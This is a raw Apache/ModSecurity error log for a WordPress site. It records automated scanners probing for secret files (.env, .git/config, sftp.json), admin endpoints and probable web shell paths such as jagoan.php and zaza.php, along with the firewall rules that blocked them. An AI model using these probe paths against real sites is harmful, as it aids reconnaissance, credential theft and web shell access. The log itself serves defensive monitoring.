[Thu Nov 20 17:37:48.733412 2025] [:error] [pid 40508:tid 40518] [client 143.110.213.72:39162] [client 143.110.213.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/server"] [unique_id "aR7hbKxXNVCMW_ksxPuPbgAAAog"]
[Thu Nov 20 17:37:49.418352 2025] [:error] [pid 55430:tid 55453] [client 143.110.213.72:39170] [client 143.110.213.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.vscode/sftp.json"] [unique_id "aR7hbfPZXaIMEU4pE7vyWAAAANQ"]
[Thu Nov 20 17:37:50.136561 2025] [:error] [pid 55342:tid 55380] [client 143.110.213.72:39176] [client 143.110.213.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about"] [unique_id "aR7hbrg6x32Tvk7fIG_NRwAAAEg"]
[Thu Nov 20 17:37:50.754068 2025] [:error] [pid 40537:tid 40557] [client 143.110.213.72:39182] [client 143.110.213.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/debug/default/view"] [unique_id "aR7hbqKlsL5kxTa3c1zUlQAAAtA"]
[Thu Nov 20 17:37:51.371732 2025] [:error] [pid 40537:tid 40554] [client 143.110.213.72:39188] [client 143.110.213.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/v2/_catalog"] [unique_id "aR7hb6KlsL5kxTa3c1zUmAAAAs0"]
[Thu Nov 20 17:37:51.989225 2025] [:error] [pid 40508:tid 40519] [client 143.110.213.72:39198] [client 143.110.213.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application"] [unique_id "aR7hb6xXNVCMW_ksxPuPdAAAAok"]
[Thu Nov 20 17:37:52.607009 2025] [:error] [pid 55340:tid 55345] [client 143.110.213.72:39206] [client 143.110.213.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/server-status"] [unique_id "aR7hcPOxD-NeMydTybCQJAAAAAA"]
[Thu Nov 20 17:37:53.225287 2025] [:error] [pid 40415:tid 40420] [client 143.110.213.72:39220] [client 143.110.213.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/login.action"] [unique_id "aR7hcahjIyLSv09svwOWbQAAAcI"]
[Thu Nov 20 17:37:53.842501 2025] [:error] [pid 40508:tid 40529] [client 143.110.213.72:39234] [client 143.110.213.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/_all_dbs"] [unique_id "aR7hcaxXNVCMW_ksxPuPdgAAApM"]
[Thu Nov 20 17:37:54.459546 2025] [:error] [pid 34405:tid 34409] [client 143.110.213.72:39246] [client 143.110.213.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.DS_Store"] [unique_id "aR7hcjFpvu8oRK7ATfsLAQAAAQI"]
[Thu Nov 20 17:37:55.078109 2025] [:error] [pid 55340:tid 55346] [client 143.110.213.72:49950] [client 143.110.213.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env"] [unique_id "aR7hc_OxD-NeMydTybCQKAAAAAE"]
[Thu Nov 20 17:37:55.694762 2025] [:error] [pid 40508:tid 40532] [client 143.110.213.72:49954] [client 143.110.213.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "aR7hc6xXNVCMW_ksxPuPeAAAApY"]
[Thu Nov 20 17:37:56.327941 2025] [:error] [pid 55340:tid 55349] [client 143.110.213.72:49962] [client 143.110.213.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/s/4313e2232313e243e2330313/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties"] [unique_id "aR7hdPOxD-NeMydTybCQKgAAAAQ"]
[Thu Nov 20 17:37:56.968121 2025] [:error] [pid 40445:tid 40497] [client 143.110.213.72:49968] [client 143.110.213.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/config.json"] [unique_id "aR7hdFH-MuFcoWRjXpZDdwAAAlY"]
[Thu Nov 20 17:37:57.584756 2025] [:error] [pid 40445:tid 40488] [client 143.110.213.72:49984] [client 143.110.213.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/telescope/requests"] [unique_id "aR7hdVH-MuFcoWRjXpZDeAAAAk0"]
[Thu Nov 20 17:37:58.201151 2025] [:error] [pid 40508:tid 40523] [client 143.110.213.72:49986] [client 143.110.213.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/info.php"] [unique_id "aR7hdqxXNVCMW_ksxPuPewAAAo0"]
[Thu Nov 20 17:37:58.818072 2025] [:error] [pid 40415:tid 40422] [client 143.110.213.72:49994] [client 143.110.213.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aR7hdqhjIyLSv09svwOWdgAAAcQ"]
[Thu Nov 20 18:34:18.857735 2025] [:error] [pid 40508:tid 40533] [client 47.238.97.17:59226] [client 47.238.97.17] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.238.97.17, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aR7uqqxXNVCMW_ksxPui4wAAApc"], referer: http://rcacivilgroup.com
[Thu Nov 20 18:38:33.285012 2025] [:error] [pid 40537:tid 40546] [client 160.22.122.134:43926] [client 160.22.122.134] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 160.22.122.134, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aR7vqaKlsL5kxTa3c1zfbgAAAsU"], referer: http://rcacivilgroup.com
[Thu Nov 20 18:45:18.536765 2025] [:error] [pid 40508:tid 40529] [client 185.46.8.16:53152] [client 185.46.8.16] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.46.8.16, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aR7xPqxXNVCMW_ksxPunPQAAApM"], referer: http://rcacivilgroup.com
[Thu Nov 20 18:49:50.648788 2025] [:error] [pid 34405:tid 34411] [client 67.205.23.217:54618] [client 67.205.23.217] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 67.205.23.217, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aR7yTjFpvu8oRK7ATfsaFQAAAQQ"], referer: http://rcacivilgroup.com
[Thu Nov 20 18:58:59.689819 2025] [:error] [pid 55340:tid 55350] [client 77.104.73.130:56375] [client 77.104.73.130] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 77.104.73.130, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aR70c_OxD-NeMydTybCfzQAAAAU"], referer: http://rcacivilgroup.com
[Thu Nov 20 19:12:49.356923 2025] [:error] [pid 40537:tid 40558] [client 104.248.45.30:60462] [client 104.248.45.30] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.248.45.30, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aR73saKlsL5kxTa3c1zmyQAAAtE"], referer: http://rcacivilgroup.com
[Thu Nov 20 22:08:26.908906 2025] [:error] [pid 55340:tid 55349] [client 217.160.155.33:44104] [client 217.160.155.33] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.160.155.33, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aR8g2vOxD-NeMydTybDD4gAAAAQ"]
[Thu Nov 20 23:24:25.971705 2025] [:error] [pid 40415:tid 40426] [client 61.171.113.15:35364] [client 61.171.113.15] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 61.171.113.15, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aR8yqahjIyLSv09svwPllwAAAcg"]
[Fri Nov 21 01:26:48.667412 2025] [autoindex:error] [pid 13536:tid 13735] [client 94.250.202.209:56569] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Fri Nov 21 01:32:10.930140 2025] [:error] [pid 13522:tid 13719] [client 125.253.121.223:55530] [client 125.253.121.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 125.253.121.223, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aR9QmqOM9BReD2C3mbLiPAAAAFM"], referer: http://rcacivilgroup.com
[Fri Nov 21 01:37:31.379322 2025] [:error] [pid 13805:tid 13810] [client 152.206.75.226:63190] [client 152.206.75.226] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.206.75.226, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aR9R21urU5-GZdwKvr7JqwAAAUI"], referer: http://rcacivilgroup.com
[Fri Nov 21 01:55:32.083816 2025] [:error] [pid 13536:tid 13744] [client 35.247.159.133:39208] [client 35.247.159.133] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.247.159.133, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aR9WFKwnCU8z6PX3-ZnBaQAAAJE"], referer: http://rcacivilgroup.com
[Fri Nov 21 02:10:27.753863 2025] [:error] [pid 13506:tid 13678] [client 106.14.142.78:56764] [client 106.14.142.78] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.14.142.78, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aR9Zk6TbGYpGB-467xZdbwAAAAg"], referer: http://rcacivilgroup.com
[Fri Nov 21 02:15:20.192742 2025] [:error] [pid 13805:tid 13827] [client 178.62.119.222:44758] [client 178.62.119.222] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.62.119.222, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aR9auFurU5-GZdwKvr7XxwAAAVM"], referer: http://rcacivilgroup.com
[Fri Nov 21 02:30:03.339043 2025] [:error] [pid 13805:tid 13823] [client 103.185.185.188:47732] [client 103.185.185.188] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.185.185.188, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aR9eK1urU5-GZdwKvr7c_gAAAU8"], referer: http://rcacivilgroup.com
[Fri Nov 21 02:32:34.582879 2025] [:error] [pid 28937:tid 28941] [client 125.253.121.223:53594] [client 125.253.121.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 125.253.121.223, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aR9ewvtbT10GL1y3DOaIogAAAMI"], referer: http://rcacivilgroup.com
[Fri Nov 21 02:37:29.716915 2025] [:error] [pid 13536:tid 13731] [client 64.90.38.74:46668] [client 64.90.38.74] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 64.90.38.74, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aR9f6awnCU8z6PX3-ZnNJgAAAIQ"], referer: http://rcacivilgroup.com
[Fri Nov 21 02:49:55.536335 2025] [:error] [pid 13805:tid 13816] [client 202.182.106.66:40720] [client 202.182.106.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.182.106.66, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aR9i01urU5-GZdwKvr7kPgAAAUg"], referer: http://rcacivilgroup.com
[Fri Nov 21 02:52:26.232609 2025] [:error] [pid 13536:tid 13727] [client 68.183.58.166:42778] [client 68.183.58.166] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 68.183.58.166, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aR9jaqwnCU8z6PX3-ZnSTAAAAIA"], referer: http://rcacivilgroup.com
[Fri Nov 21 02:57:47.237990 2025] [autoindex:error] [pid 28937:tid 28954] [client 74.176.63.146:20360] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 21 02:57:49.065448 2025] [proxy_fcgi:error] [pid 28937:tid 28942] [client 74.176.63.146:20360] AH01071: Got error 'Primary script unknown'
[Fri Nov 21 02:57:50.089293 2025] [:error] [pid 28937:tid 28948] [client 74.176.63.146:20360] [client 74.176.63.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/0.php"] [unique_id "aR9krvtbT10GL1y3DOaUogAAAMk"]
[Fri Nov 21 02:57:52.440932 2025] [:error] [pid 13506:tid 13694] [client 74.176.63.146:20457] [client 74.176.63.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/cs.php"] [unique_id "aR9ksKTbGYpGB-467xZqFQAAABg"]
[Fri Nov 21 02:57:53.833745 2025] [:error] [pid 28937:tid 28963] [client 74.176.63.146:20432] [client 74.176.63.146] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/images/m.php"] [unique_id "aR9ksftbT10GL1y3DOaUqQAAANg"]
[Fri Nov 21 02:57:54.191416 2025] [:error] [pid 13506:tid 13670] [client 74.176.63.146:20368] [client 74.176.63.146] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/images/m.php"] [unique_id "aR9ksqTbGYpGB-467xZqKwAAAAA"]
[Fri Nov 21 02:57:54.468116 2025] [:error] [pid 13506:tid 13676] [client 74.176.63.146:20311] [client 74.176.63.146] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/images/m.php"] [unique_id "aR9ksqTbGYpGB-467xZqLQAAAAY"]
[Fri Nov 21 02:57:54.880621 2025] [:error] [pid 28937:tid 28950] [client 74.176.63.146:20425] [client 74.176.63.146] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/images/m.php"] [unique_id "aR9ksvtbT10GL1y3DOaUrAAAAMs"]
[Fri Nov 21 02:57:55.174626 2025] [:error] [pid 28937:tid 28942] [client 74.176.63.146:20442] [client 74.176.63.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/kses.php"] [unique_id "aR9ks_tbT10GL1y3DOaUrQAAAMM"]
[Fri Nov 21 02:57:55.593215 2025] [:error] [pid 13805:tid 13829] [client 74.176.63.146:20468] [client 74.176.63.146] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jagoan.php"] [unique_id "aR9ks1urU5-GZdwKvr7n3AAAAVU"]
[Fri Nov 21 02:57:55.826970 2025] [:error] [pid 13536:tid 13739] [client 74.176.63.146:20465] [client 74.176.63.146] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jagoan.php"] [unique_id "aR9ks6wnCU8z6PX3-ZnUIwAAAIw"]
[Fri Nov 21 02:57:56.116343 2025] [:error] [pid 13536:tid 13743] [client 74.176.63.146:20366] [client 74.176.63.146] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jagoan.php"] [unique_id "aR9ktKwnCU8z6PX3-ZnUJQAAAJA"]
[Fri Nov 21 02:57:56.354916 2025] [:error] [pid 13536:tid 13744] [client 74.176.63.146:20419] [client 74.176.63.146] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jagoan.php"] [unique_id "aR9ktKwnCU8z6PX3-ZnUJwAAAJE"]
[Fri Nov 21 02:57:56.643093 2025] [:error] [pid 13805:tid 13826] [client 74.176.63.146:20463] [client 74.176.63.146] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/images/g3.php"] [unique_id "aR9ktFurU5-GZdwKvr7n3QAAAVI"]
[Fri Nov 21 02:57:56.894977 2025] [:error] [pid 13805:tid 13831] [client 74.176.63.146:20440] [client 74.176.63.146] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/images/g3.php"] [unique_id "aR9ktFurU5-GZdwKvr7n3wAAAVc"]
[Fri Nov 21 02:57:57.151706 2025] [:error] [pid 13805:tid 13809] [client 74.176.63.146:20455] [client 74.176.63.146] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/images/g3.php"] [unique_id "aR9ktVurU5-GZdwKvr7n4AAAAUE"]
[Fri Nov 21 02:57:57.435969 2025] [:error] [pid 13506:tid 13674] [client 74.176.63.146:20361] [client 74.176.63.146] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/images/g3.php"] [unique_id "aR9ktaTbGYpGB-467xZqMwAAAAQ"]
[Fri Nov 21 02:57:57.727075 2025] [:error] [pid 13805:tid 13827] [client 74.176.63.146:20436] [client 74.176.63.146] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.well-known/zaza.php"] [unique_id "aR9ktVurU5-GZdwKvr7n4QAAAVM"]
[Fri Nov 21 02:57:57.974872 2025] [:error] [pid 13536:tid 13736] [client 74.176.63.146:20364] [client 74.176.63.146] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.well-known/zaza.php"] [unique_id "aR9ktawnCU8z6PX3-ZnUKgAAAIk"]
[Fri Nov 21 02:57:58.280715 2025] [:error] [pid 13536:tid 13733] [client 74.176.63.146:20306] [client 74.176.63.146] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.well-known/zaza.php"] [unique_id "aR9ktqwnCU8z6PX3-ZnUKwAAAIY"]
